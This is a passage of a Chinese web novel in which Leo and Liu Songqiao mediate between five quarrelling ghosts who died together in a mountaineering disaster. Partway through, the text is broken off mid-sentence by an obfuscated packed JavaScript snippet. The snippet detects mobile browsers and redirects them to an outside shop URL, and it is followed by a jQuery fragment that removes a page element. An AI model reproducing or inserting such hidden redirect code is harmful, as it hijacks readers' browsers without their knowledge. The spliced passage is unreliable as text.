元碧君冷脸念道:“山神传谕,尔等死后不安,搅扰生灵,虽非大错,时日长久终究为祸。特请判官司前来调停,尔等明白?” 五鬼似乎没太明白,Leo上前一步热情洋溢道:“各位兄弟姐妹,我们是判官司的工作人员,接到山神投诉说你们吵着他老人家了,特地来了解情况,顺便做下调解工作。” 五鬼面面相觑,其中一个穿着橙色衣服的年轻男子率先开口:“我们之间没什么好说的。” 其他四个要么低头不语,要么翻了个白眼,要么酝酿着还嘴。 Leo举手示意他们先别说:“我知道各位的来历,也清楚你们经历了什么,各位不妨先听我说几句?” 橙衣男子嘴一撇:“反正死都死喽。” 队伍中唯一一位女性立马跳出来:“要没你还死不了!” “还说我呢,要不是你先崴了脚,大曾需要多负重吗?早知道就该把你撂下。”橙衣男子毫不示弱,还伸手指着人。 “你要不探错路,她也崴不了。”另一位穿着蓝衣的年轻男子幽幽说道,斜拄着登山杖。 红衣中年男子冷笑一声:“你也没好到哪儿去,该下撤不下撤,非得拖,活该你被冻死。” 只剩下一位身材壮硕的大哥埋头不语,似乎不愿意面对这些。 Leo用大嗓门盖过争吵声:“诸位,我也理解你们的情绪,你们要吵,那就吵个痛快。”Leo伸出一根手指,“你们要是想在这儿吵个十年,或者说一百年,我作为外人也没什么干涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278166|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 蓝衣男子嗤笑一声:“你一个活人懂什么。” 橙衣男子补上:“现在最不想看到的就是你们这些活人。” “对,我一个活人没什么,不过……”Leo用手掌指向山峰,“先礼后兵,我们只是前面的礼,您要实在不肯接,后面山神大人若真发起火来,各位也是知晓威力的。” 五鬼面色一变,似乎没想到他来这一招欲抑先扬。都死于同一场山难,恐惧在生的最后时刻就已经渗透进灵魂深处。 “各位也不用如此神色凝重,山神大人还愿意给你们一个机会,若能在这儿说开了,一切都好。”Leo微微扬唇,“再说了,你们东一嘴西一嘴地吵,能吵出个一二三四五六吗?让我来帮你们分析分析,我一个不相干的外人,总不至于偏袒谁。” Leo席地而坐,做出要促膝长谈的架势。站着的鬼也跟着坐下,围成一团。 “一个一个来,说说你的看法,说的时候其他人别出声,从左边开始吧。”Leo毫不畏惧地坐在被鬼包围的位置,还能游刃有余地组织秩序,刘松巧无比佩服。她要是能有本事就好了。 最左边的红衣中年男子看看其余四位,酝酿一分钟才开口:“我觉得一开始就不该这个天气出发,想着抢个窗口期,但山哪是能预测的。开头上山都还好,登顶之后,不,就不该登顶,该到这儿就下撤的,但牟子说来都来了,云象看上去也还好,想着不能丢下他就一起去了。” “然后呢?下撤怎么了?”Leo引导他继续说,不能让他们形成一对一的对立,否则这压力摊不下去, “上来那边起云了,伸手不见五指的,就换条路下撤,没想到,唉,下山本来就难走,还走错到碎石子多的路上。石子又散又硬,小露腿力差些,踩空把脚给崴了。大曾帮她背了些东西在前面开路,咱们就一路走到这儿。” 他停了下来,看着这道山脊,眼神凄迷。 “风太大了,又没得挡,大曾背的包最大,风一来就……” 大家眼光聚集到壮硕男子身上,他一直埋头坐在这儿,从刘松巧他们过来就这样一直坐着。 “我们开始怕了,想着找个地方打卫星电话叫救援,一路连滚带爬下来缩在那里。”他手指一处不远的背风岩石后。 “信息发出去,但风更大了,救援也来不了那么快。气温下降太快,再不撤就容易失温死在这里。我们顶着风往下撤了几十米,实在走不动了,但那里连个挡风的位置都没有。” “小露本就崴了脚,风吹得她几乎走不动,我们就想着兵分两路,总要有人走出去。牟子守着她,在附近找个地方把能裹的全裹上了,我和明宁继续下撤找救援,这个时候天要黑了,路也不好看清。也不知道什么时候,我背后的明宁就不见了。再然后,我摔了一下,就什么都不知道了。” 气氛沉重,五鬼都安静下来。Leo还是坚持让每位都再说说自己视角的状况,说到后面,场面一片死寂。 总结下来就是错误的时间,错误的地点,错误的操作,葬送了一整支队伍。 一直沉默的大曾是这支队伍的领队,他只说了一句“都怪我”,又继续埋着头。 Leo清清嗓子,把面前鬼缓缓扫视一遍,郑重道:“各位,想必你们也清楚了,出事,从来不是哪一个人的责任。在这儿吵下去,无非是徒劳。” “我是从事法律工作的,但我今天不想和你们谈法律。”Leo直起身子来,“都是受害者,再分个责任大小,没必要。” “是我组织的,我责无旁贷。”大曾垂头说出了第二句话,在场众鬼纷纷想宽慰他,被Leo用手势阻止了。 “如果从法律上来说,组织者确实有不可推卸的责任。但您也已经尽力了,若不是为了照顾队员,您也不会现在坐在这儿。再后面的事,怎么能怪你?” 小露擦着眼睛说对不起,其他人则把手搭在大曾后背。 Leo双手合十道:“希望各位能早日放下这些执念,事已至此,只能接受。” “大曾我可以原谅,他凭什么?” “大曾都没说我,你凭什么对我指指点点!” 眼看争端又起,Leo眉头紧锁,按下葫芦浮起瓢。 刘松巧凑上前蹲下,开口道:“你们埋怨队友,有用吗?” 牟子横眉怒道:“你谁啊,说话真不嫌腰疼。” “不重要,不过我要说,你们怪队友,一点用都没有。” 几个鬼还要说什么,刘松巧抢在前面用手指向高处。 “你们该怪的,是这天。”